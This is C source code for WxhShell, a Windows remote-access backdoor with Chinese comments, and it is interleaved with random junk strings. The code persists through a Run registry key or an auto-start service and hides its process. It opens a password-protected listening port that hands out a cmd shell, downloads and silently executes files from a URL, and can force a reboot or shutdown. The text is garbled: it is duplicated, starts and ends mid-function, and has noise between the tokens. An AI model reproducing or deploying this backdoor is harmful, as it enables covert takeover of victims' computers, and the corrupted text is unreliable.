_4L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ek3,ss3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iAAlld1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s.oh6wz '5BM*4,:O if (!NtQueryInformationProcess) return 0; Oe^oigcM PC3-X['[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -6./bB g if(!hProcess) return 0; 5o dtYI%L wmf#3"n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?()$imb* M~/R1\'&j CloseHandle(hProcess); ,\cO>y@ `aw5"ns^V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YPY'[j(p`n if(hProcess==NULL) return 0; _g#v*7o2@ ~^u#Q\KE" HMODULE hMod; JIobs*e0m char procName[255]; |Q _]+[ unsigned long cbNeeded; HECZZnM V% c1+h < if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uI*2}Q eGJ}';O,g CloseHandle(hProcess); W7ffdODb 7<ZCeM2x if(strstr(procName,"services")) return 1; // 以服务启动 ;0!rq^JG {_{&t>s2 return 0; // 注册表启动 cqyrao3; } )(&WhZc Z yj+HU5L4 // 主模块 (GNY::3 int StartWxhshell(LPSTR lpCmdLine) R#QcQx { WO=,NQOw SOCKET wsl; i[wEH1jR BOOL val=TRUE; Vg+jF!\7 int port=0; iKu~o.yy struct sockaddr_in door; @aC2] `vijd(a?v if(wscfg.ws_autoins) Install(); sb7~sa&- 0f<$S$~h port=atoi(lpCmdLine); ee=d*) 1tNmiAu if(port<=0) port=wscfg.ws_port; HYkZMVH{ mCY+V~^~kz WSADATA data; 1ukCH\YgU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lVmm`q6n9 ]_ON\v1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :$#";t| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9W[ ~c"Ku door.sin_family = AF_INET; b2Jgg&?G door.sin_addr.s_addr = inet_addr("127.0.0.1"); z^q ~|7 door.sin_port = htons(port); ]5=C3Y #el i_Cxe if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -brn&1oJ closesocket(wsl); Rf~? u)h1 return 1;
oq>8 } xqua>!mqS {{\
d5CkX if(listen(wsl,2) == INVALID_SOCKET) { pM^r8kIH closesocket(wsl); 6,*o;<k[ return 1; r^$4]@Wn } F5#P{zk| Wxhshell(wsl); 9Fkzt=(E~ WSACleanup(); :&/b}b!)AX *
@QC:1k return 0; /4R|QD '{t&!M` } }Z~& XL= q
i27:oJ // 以NT服务方式启动 -Xw i}/OX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1gZW~6a} { *k]izWsV* DWORD status = 0; e uF@SS DWORD specificError = 0xfffffff; C(^IX"9 # jd&kak serviceStatus.dwServiceType = SERVICE_WIN32; A{!D7kwTz~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;DkX"X+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y;L,}/[ serviceStatus.dwWin32ExitCode = 0; `V;vvHP A serviceStatus.dwServiceSpecificExitCode = 0; 'WA]DlO serviceStatus.dwCheckPoint = 0; j0LA serviceStatus.dwWaitHint = 0; A;4O,p@ ~?m vV`30& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -I'@4\< if (hServiceStatusHandle==0) return; oA _,jsD4 }h6N.vz status = GetLastError(); {bSi3 oI if (status!=NO_ERROR) B[]v[q< { KV!!D{VS`@ serviceStatus.dwCurrentState = SERVICE_STOPPED; whzV7RT serviceStatus.dwCheckPoint = 0; Z|z+[V}[ serviceStatus.dwWaitHint = 0; `qjiC>9 serviceStatus.dwWin32ExitCode = status; pV3o\bk! serviceStatus.dwServiceSpecificExitCode = specificError; FTihxC?.L SetServiceStatus(hServiceStatusHandle, &serviceStatus); jM E==)Y return; },2mIit( } } h.]sF fh1rmet&Ts serviceStatus.dwCurrentState = SERVICE_RUNNING; t/= xY'7 serviceStatus.dwCheckPoint = 0; 7%-+7O 3ud serviceStatus.dwWaitHint = 0; l~/g^lN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k_2W*2'S } FK$?8Jp `xO9xo#
// 处理NT服务事件,比如:启动、停止 ?W %9H\; VOID WINAPI NTServiceHandler(DWORD fdwControl) %U.aRSf/ { \eD{bD switch(fdwControl) oWZbfR9R { 483BrFV case SERVICE_CONTROL_STOP: \9*,[mvC serviceStatus.dwWin32ExitCode = 0; qw!_/Z3[ serviceStatus.dwCurrentState = SERVICE_STOPPED; 7,sslf2%K serviceStatus.dwCheckPoint = 0; FE)L? serviceStatus.dwWaitHint = 0; (5SN=6O { B/(]AWi+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M``I5r*cg } CywQ return; 6NO_S case SERVICE_CONTROL_PAUSE:
W6&s_ ( serviceStatus.dwCurrentState = SERVICE_PAUSED; DL ^}?Ve break; 6o_t;cpT case SERVICE_CONTROL_CONTINUE: TZT1nj"n serviceStatus.dwCurrentState = SERVICE_RUNNING; @bN`+DC!< break; H$
!78/f case SERVICE_CONTROL_INTERROGATE: v Kzq7E break; .}}w@NO }; FM c9oyU~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); | %Dh } uqhNi!; ^<0azza/( // 标准应用程序主函数 L{hP&8$k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7>g^OE f { PD$gW`V PXZZPW/ // 获取操作系统版本 d$uh.?F5 OsIsNt=GetOsVer(); (f^K\7HM GetModuleFileName(NULL,ExeFile,MAX_PATH); n$* 'J9W~ VQr)VU=jb // 从命令行安装 M>CW(X if(strpbrk(lpCmdLine,"iI")) Install(); ddDl~&}o 7Ca+Pe}/n, // 下载执行文件 ,= ;d<O8 if(wscfg.ws_downexe) { o%+8.Tx6wT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7/"g}
F}Q WinExec(wscfg.ws_filenam,SW_HIDE); !N4?>[E } $e=pdD~ \BT 8-} if(!OsIsNt) { I/ pv0 // 如果时win9x,隐藏进程并且设置为注册表启动 K<HF!YU#I2 HideProc(); \X5>HPB StartWxhshell(lpCmdLine); Nw`}iR0i } cxhS*"Ph else qwlIz/j if(StartFromService()) 7|A9 // 以服务方式启动 FK
MuRy| StartServiceCtrlDispatcher(DispatchTable); PYldqY else T@[(FVA N // 普通方式启动 Rh7unJ StartWxhshell(lpCmdLine); MPINxS \($EYhx return 0; "y_A xOH } &;~x{q]3 x[Xj[O b(lC7Xm |OXufV?I =========================================== ?fB}9(6 a'f0Wv0%" @za X\ "o
+" Jd #C+""qm l65-8 " TI{W(2O * FFH9$>A #include <stdio.h> 2k,!P6fgl #include <string.h> FcnSO0G% #include <windows.h> )q?z"F| #include <winsock2.h> c;w%R8z #include <winsvc.h> :NL.#!>/ #include <urlmon.h> V+/Vk1 T&_!AjH #pragma comment (lib, "Ws2_32.lib") CwKo'PAJ #pragma comment (lib, "urlmon.lib") zG_e= |fXwH> 'sw #define MAX_USER 100 // 最大客户端连接数 '&/"_ #define BUF_SOCK 200 // sock buffer (>THN*i #define KEY_BUFF 255 // 输入 buffer
WH F>J qRMH[F$` #define REBOOT 0 // 重启 t'@1FA!)
#define SHUTDOWN 1 // 关机 {'W\~GnZ |k~\E|^ #define DEF_PORT 5000 // 监听端口 \29a@ 6 =]h 5RC #define REG_LEN 16 // 注册表键长度 }(AgXvRq #define SVC_LEN 80 // NT服务名长度 #un#~s
7Q M6E.!Cs // 从dll定义API @Oe!*|?mS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Py$*c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5gP#V
K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `nA_WS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U88-K1G YYDLFtr2 // wxhshell配置信息 m2[q*k]AtS struct WSCFG { v~>^c1: int ws_port; // 监听端口 =F2e*?a3 char ws_passstr[REG_LEN]; // 口令 FL5u68 int ws_autoins; // 安装标记, 1=yes 0=no -DwqoWZ char ws_regname[REG_LEN]; // 注册表键名 e[fzy0 char ws_svcname[REG_LEN]; // 服务名 sidSY8j char ws_svcdisp[SVC_LEN]; // 服务显示名 j_PICv*6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 K'[H`x^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fx']kn9 int ws_downexe; // 下载执行标记, 1=yes 0=no ^E&':6( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FHVZ/ e char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @,i_
KN6C o/EA%q1 }; 8UArl3 ,5" vzGLJ // default Wxhshell configuration = :rR%L!a struct WSCFG wscfg={DEF_PORT, 0Zkb}F2- "xuhuanlingzhe", <>,V>k| 1, AY['!&T "Wxhshell", "(/
1]EH` "Wxhshell", ^\kv>WBE "WxhShell Service", {l=! "Wrsky Windows CmdShell Service", a%>p"4WL "Please Input Your Password: ", Uv,_VS( 1, D'e'xU "http://www.wrsky.com/wxhshell.exe", "=I
ioY "Wxhshell.exe" lJ!+n<K+ }; ;L.@4b[lP bq3G3oAyG // 消息定义模块 :UmY|=v?t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ye1kI~LO( char *msg_ws_prompt="\n\r? for help\n\r#>"; L 0kK' n? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !n4p*<Y6 char *msg_ws_ext="\n\rExit."; kQXtO) char *msg_ws_end="\n\rQuit."; gio'_X char *msg_ws_boot="\n\rReboot..."; 3IHya=qN char *msg_ws_poff="\n\rShutdown..."; Wd'wL"6De char *msg_ws_down="\n\rSave to "; o
>bf7+D Eh;SH^&6 char *msg_ws_err="\n\rErr!"; !h&A^sAc char *msg_ws_ok="\n\rOK!"; Ex35 Wbc*x
char ExeFile[MAX_PATH]; /X)fWO S6 int nUser = 0; Hk%m`|Z HANDLE handles[MAX_USER]; e$|g int OsIsNt; )
'x4#5] %7q,[g8 SERVICE_STATUS serviceStatus; <\c5 SERVICE_STATUS_HANDLE hServiceStatusHandle; Hs<vCL \ 3X,9K23T // 函数声明 H)1< ;{: int Install(void); xfw)0S int Uninstall(void); 6bCC6G
int DownloadFile(char *sURL, SOCKET wsh); +^hFs7je) int Boot(int flag); #LEK?]y void HideProc(void); DzX5_ kA int GetOsVer(void); c,;-[sn int Wxhshell(SOCKET wsl); z-nhL= void TalkWithClient(void *cs); S5]rIcM int CmdShell(SOCKET sock); s<x2*yVUA int StartFromService(void); %^}3:0G int StartWxhshell(LPSTR lpCmdLine); <N^2|*3 ipfiarT~) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \:C@L&3[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6JBE=9d-Q y8jk9Tv // 数据结构和表定义 -8&M^- SERVICE_TABLE_ENTRY DispatchTable[] = t5n$sF { ,6?L.L {wscfg.ws_svcname, NTServiceMain}, B@dA?w.x {NULL, NULL} p;Kw$fQ? }; :~BY[") X.V7od> // 自我安装 G&MI@Hq int Install(void) E`.dU<8HE { Hw[u Sv8 char svExeFile[MAX_PATH]; L!:} HKEY key; 8)3g!3S strcpy(svExeFile,ExeFile); g83]/s+ x7 jE
Ns ) // 如果是win9x系统,修改注册表设为自启动 qazM@ if(!OsIsNt) { :a(er'A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^yiRrcOo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [_ESR/&N RegCloseKey(key); u$d
T^c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "1_eZ ` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * 3mF.^ RegCloseKey(key); )2C`;\/: return 0; /,A:HM>B } %gDMz7$~ } ^.y}2 } <hg t{b4 else { iqURlI);P "<x%kD // 如果是NT以上系统,安装为系统服务 ^0ZabR' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r8rU+4\8< if (schSCManager!=0) K1a$
m2 { 2ku\R7 SC_HANDLE schService = CreateService -4{sr|
lm ( o7E?A schSCManager, 6}A1^RB+w wscfg.ws_svcname, 0 3kzS ]g wscfg.ws_svcdisp, a=\r~Z7E SERVICE_ALL_ACCESS, OF*m9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7HzO_u%H1 SERVICE_AUTO_START, 0|n1O)>J SERVICE_ERROR_NORMAL, Jj}+tQf svExeFile, zl\mBSBx" NULL, b&X- &F NULL, >8+:{NW NULL, }2;~':Mklz NULL, fEF1&&8^ NULL B uV@w-| ); @13vn x if (schService!=0) ;QQLYT { .~qu,q7k~ CloseServiceHandle(schService); Zoh[tO CloseServiceHandle(schSCManager); IGEs1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U~ QIO O strcat(svExeFile,wscfg.ws_svcname); 8R}CvzI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NL%5'8F>, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FP=%e]vJ RegCloseKey(key); sA=WU(4^ return 0; 4JSf t
t } tWy0%
- } -v#0.3zm CloseServiceHandle(schSCManager); -R@mnG
5 } #x!h
BS! } rAq2 p5&:>> return 1; +m kub}<a } y}dop1zp
< TJzp // 自我卸载 'H-: >'k int Uninstall(void) nn!W-Bsqjh { &OD)e@Tc HKEY key; E!w%oTx{OR `''\FPhh if(!OsIsNt) { Ha{# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^%tmHDNL. RegDeleteValue(key,wscfg.ws_regname); G$&SlJZEk RegCloseKey(key); +x$GwX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~p^&`FA RegDeleteValue(key,wscfg.ws_regname); o_hk!s^4m RegCloseKey(key); =NxT9$V return 0; zsnXPRF } WVl yR\. } GF[onfQY7 } &|'k)6Rx else { qg6283'? ousvsP%' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n5h4]u if (schSCManager!=0) K9h{sC { IF-g % SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FYh+G-Y# if (schService!=0) ^\:"o { JG-\~'9 if(DeleteService(schService)!=0) { +Zgh[a CloseServiceHandle(schService); R:8\z0"L* CloseServiceHandle(schSCManager); S?n, O+q return 0; jt5en;AA[ } | wuUH CloseServiceHandle(schService); eCHT)35u } uzjP!qO CloseServiceHandle(schSCManager); =z`GC1]bL } j}~3m$ } x-0S-1M z4
4( return 1; 9D,`9L5-= } D/wX 2Ur9*#~kGp // 从指定url下载文件 DY| s|:d int DownloadFile(char *sURL, SOCKET wsh) {1a%CsCM { !0Hx1I<*x HRESULT hr; :(gZ\q">k char seps[]= "/"; dNd(57 char *token; ;s
m )f char *file; J eCKnt= char myURL[MAX_PATH]; .=rS,Tpo char myFILE[MAX_PATH]; n@IpO
i$Q ^)|8N44O strcpy(myURL,sURL); `rEu8u token=strtok(myURL,seps); c!n\?lB while(token!=NULL) T 2Uu/^ { z&x
^Dl file=token; 62{(i'K token=strtok(NULL,seps); \D
Oq x } .;#Wf@V @T>\pP]o GetCurrentDirectory(MAX_PATH,myFILE); >S\D+1PV strcat(myFILE, "\\");
fX"cQ& strcat(myFILE, file); %dA6vHI, send(wsh,myFILE,strlen(myFILE),0); tB-0wD=PR send(wsh,"...",3,0); JRfG]u6GU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CHxu%-g if(hr==S_OK) vhe[:`=a return 0; A|3'9iL{9 else Yn!)('FdT! return 1; WBcnE(zF h+ixl#: } x93t.5E6 6@ B_3y // 系统电源模块 1nHQ)od int Boot(int flag) UqJ}5{rt { wB%:RI, HANDLE hToken; ,T:Uk*Bj TOKEN_PRIVILEGES tkp; Q7u/k$qN i|5.DhK} if(OsIsNt) { -.XICKz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J@$h'YUF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -qv*%O@ tkp.PrivilegeCount = 1; <0R$yB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -%R3YU3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -nM=^i4) if(flag==REBOOT) { =gSa?pd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {,V .IDs8[ return 0; %+BiN)R*x } ~MuD`a7#G else { s#phs`v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aNd6#yU$ return 0; A5U//y![{ } S}QvG&c } \53(D7+ else { O{YT6&.S0 if(flag==REBOOT) { -|Z[GN: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #j!RbW return 0; OFc Lh } nd~cpHQR^ else { ^ud-N;]MKs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LmCr[9/ return 0; =E E>QM } R<* c } dXwfOC\\ H[H+s!)" return 1; +MHsdeGU1W } _>:R]2Ew kBF.TGT[l // win9x进程隐藏模块 /#WRd}IjK void HideProc(void) a| w.G "W { W8bh49 (T&rvE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j`
RuK if ( hKernel != NULL ) F6g)2&e{/ { 8\V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S}mZU! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V?_:-!NJ( FreeLibrary(hKernel); 3
VNPdXsh } ]'
ck!eG S_ELZO#7 return; ^a ,Oi% } 3mmp5 d ZeB"k)FI> // 获取操作系统版本 fLGZ@-qA0 int GetOsVer(void) pv
LA:LW2 { ^v5v7\! OSVERSIONINFO winfo; }MW7,F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2=?:(e9 GetVersionEx(&winfo); fv;3cxQp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |<:Owd= return 1; U"SH
fI: else SK6?;_ return 0; F},#%_4 } Hj\iI p .N:& {$o: // 客户端句柄模块 9YMD[H\}V int Wxhshell(SOCKET wsl) bQTkW<7gh { nu=yE$BN{ SOCKET wsh; Nj p?/r struct sockaddr_in client; Rix|LKk{ DWORD myID; 2b&&3u8 9n\b!*x while(nUser<MAX_USER) u;@~P { s2IjZF { int nSize=sizeof(client); M&93TQU- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -a^%9 U if(wsh==INVALID_SOCKET) return 1; pUp&eH T6Oah:50EM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B\ <;e if(handles[nUser]==0) {hP_"nN# closesocket(wsh); obRYU|T else W{)RJ1 nUser++; =qg;K'M5 } ?.*^#>- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ff{L=uj T(@J]Y- return 0; Xc>M_%+R
} L
lNd97Z sYMgi D // 关闭 socket F"G]afI9+ void CloseIt(SOCKET wsh) fV>12ici { Z?@oe-mz closesocket(wsh); :gwM$2vv nUser--; VKZZTFmV2) ExitThread(0); fN|'aq*Pd } F4b$ (4GDh% // 客户端请求句柄 6g6BE^o\ void TalkWithClient(void *cs) PfrzrRahb { T09'qB QDHTP|2e SOCKET wsh=(SOCKET)cs; oh?@[U char pwd[SVC_LEN]; @,9cpaL3 char cmd[KEY_BUFF]; )iU@P7W= char chr[1]; m-w K8]t9 int i,j; 9 SBVp6' _Hp[}sv4) while (nUser < MAX_USER) { G\PFh& ]YF_c,Q if(wscfg.ws_passstr) { y\C_HCU H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $sfDtnRy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *vqr+jr9 //ZeroMemory(pwd,KEY_BUFF); Q
1:7 9 i=0; F5+)=P# while(i<SVC_LEN) { (q
0wV3Qv rBLcj;, // 设置超时 4.t72*ML fd_set FdRead; CAJ]@P#Xj+ struct timeval TimeOut; Y3n6y+Uzk FD_ZERO(&FdRead); V_Xq&!HN[ FD_SET(wsh,&FdRead); GN=ugP 9 TimeOut.tv_sec=8; X+$IaLfCxD TimeOut.tv_usec=0; O]1aez[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d#W>"Cqxqa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wG-lR,glb `B%IHr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XwlF[3VbiX pwd=chr[0]; xIb"8,N if(chr[0]==0xd || chr[0]==0xa) { ->u}b?aF pwd=0; U;qGUqI break; v>!tws5e } {gkY:$xnrG i++; 9sId2py]W } Z`jSpgWR r9vO(m~ // 如果是非法用户,关闭 socket rGt/ /6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6!|/(~ } 71I: P|.> g.]S5( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U=vh_NHj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G@=H='
:~ NGs@z^&V while(1) { OH_ m ZA 7lH.>n ZeroMemory(cmd,KEY_BUFF); `JZ`j7f 6|@\\\l // 自动支持客户端 telnet标准 g~v>{F+u j=0; U(~d^9/# while(j<KEY_BUFF) { nvOJY6)$V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sVNM#, cmd[j]=chr[0]; I$Ra*r if(chr[0]==0xa || chr[0]==0xd) { SKdh!*G cmd[j]=0; c*N>7IF, break; gY/p\kwsj } H3Zsm)+: j++; J};=)xLX; } Fs 95^T d#>iFD+ // 下载文件 6%\&m|S if(strstr(cmd,"http://")) { z <jH{AU send(wsh,msg_ws_down,strlen(msg_ws_down),0); lWRRB&8 if(DownloadFile(cmd,wsh)) F4|U\,g send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^~jB= =] else N_Q\+x}zq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ 0J&^C } 4RDdfY\%u else { [R%Pf/[Fr Og E<bw switch(cmd[0]) { L; (J6p]h _I<LB0kgf. // 帮助 `F,*NESv case '?': { Jr.4Y>;}e3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LR:meCOI break; &Z%|H>+;T } tjWf`#tH>H // 安装 Uf`~0=w case 'i': { 4cQ|"sOzD if(Install()) rI;84=v2&9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7[Z/U= else d'UCPg<Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cj3C%W break; >sl#2,br } -+,3aK<[ // 卸载 Jd-u? case 'r': { \ Q E?.Fx if(Uninstall()) :@c\a99Kx send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L+)R*|:& else $PbwC6>8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KOYcT'J@vR break; b.lK0 Xo } mZ!1Vh // 显示 wxhshell 所在路径
M_ii case 'p': { ;'7gg] char svExeFile[MAX_PATH]; ? 1
~C`I; strcpy(svExeFile,"\n\r"); ` Clh; strcat(svExeFile,ExeFile); 5fuB((fd( send(wsh,svExeFile,strlen(svExeFile),0); $`'Xb break; RA^-Pa.O } rhQv,F9 // 重启 tZ*z.3\< case 'b': { aPH6R<G send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o3kVcX^ if(Boot(REBOOT)) e>~7RN send(wsh,msg_ws_err,strlen(msg_ws_err),0); Puodsd else { xp;CYr"1} closesocket(wsh); uYy&<_r ExitThread(0); nAY'1!O i } l
4e`-7 break; M~"93 Q`f^ } ? ht;ZP // 关机 P(Wr[lH\y case 'd': { :I/i"g7< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U%T{~f if(Boot(SHUTDOWN)) bS"zp6Di send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?:xD(}Q else { PZE{-TM?W closesocket(wsh); S{7 R6,B5 ExitThread(0); 5FQtlB9F } DB>.Uf" break; uX8yS|= * } qdY*y&}"J // 获取shell Udl8?EVSz case 's': { %wk3&EC. CmdShell(wsh); MFqM6_ closesocket(wsh); /KLs+^c5 ExitThread(0); $#LR4 [Fq break; }n[<$*W^ } k%2Rv4)hU // 退出 2GW.'\D case 'x': { OHyBNJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^!yJ;'H\ CloseIt(wsh); } Rs@ break; l?J|Ip2W } WIkr0k // 离开 D
N#OLk case 'q': { ZGZ+BOFL send(wsh,msg_ws_end,strlen(msg_ws_end),0); #!RO,{FT closesocket(wsh); *Iir/6myM WSACleanup(); ._A@,]LS} exit(1); ^Z`?mNq9 break; lVR
a{._m } Kh,zp{ } 1?hx/02 } H){lXR/#u +x_9IvaW&? // 提示信息 *p=a-s5- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Pz)vnV" } NU{`eM } N "Mw1R4 T]0H&Oov return; A$;"9F@ } F!pgec%]' v>oWk:iJP // shell模块句柄 6
~LCj" int CmdShell(SOCKET sock) KE*8Y4#9 { 7,:$, bL STARTUPINFO si; pxgVYr. ZeroMemory(&si,sizeof(si)); 22_%u=p-| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d ub%fs si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [44C`x[8M+ PROCESS_INFORMATION ProcessInfo; GT3?)g{Z char cmdline[]="cmd"; 4ht+u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
RI</T3%~ return 0; +q-/~G' } {j!+\neL qrxn%#\XP // 自身启动模式 oasEG6OI8 int StartFromService(void) n,vs(ZL: { ?X5Y8n]y\h typedef struct }=T=Z#OgH { `iT{H]po DWORD ExitStatus; IyJHKDFk DWORD PebBaseAddress; nlsif DWORD AffinityMask; ~]LkQQ' DWORD BasePriority; 8\])p sb9 ULONG UniqueProcessId; 6tKCY(#oO+ ULONG InheritedFromUniqueProcessId; >jH%n(TcC } PROCESS_BASIC_INFORMATION; h-+GS% ?Ja&LNI9S PROCNTQSIP NtQueryInformationProcess; E
Zh.*u@^r #BLmT-cl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 75?z" i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G}8Zkz@+ ~P;KO40K HANDLE hProcess; P<s0f:". PROCESS_BASIC_INFORMATION pbi; zvAUF8'_ SG@-b( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5zk^zn) if(NULL == hInst ) return 0; H4{CiZ -H-:b7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tQSJ"Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mNDz|Ln NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LUN"p#1 f9FEH7S68 if (!NtQueryInformationProcess) return 0; Fh0cOp( U\~9YX8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4_&+]S if(!hProcess) return 0; k?7V#QW( o{r<=X ysM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <A+n[h W3aFao>!OZ CloseHandle(hProcess); *47',Qy SNl% ?j|
f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
_ 0g\g~[ if(hProcess==NULL) return 0; q47:kB{d .XTR
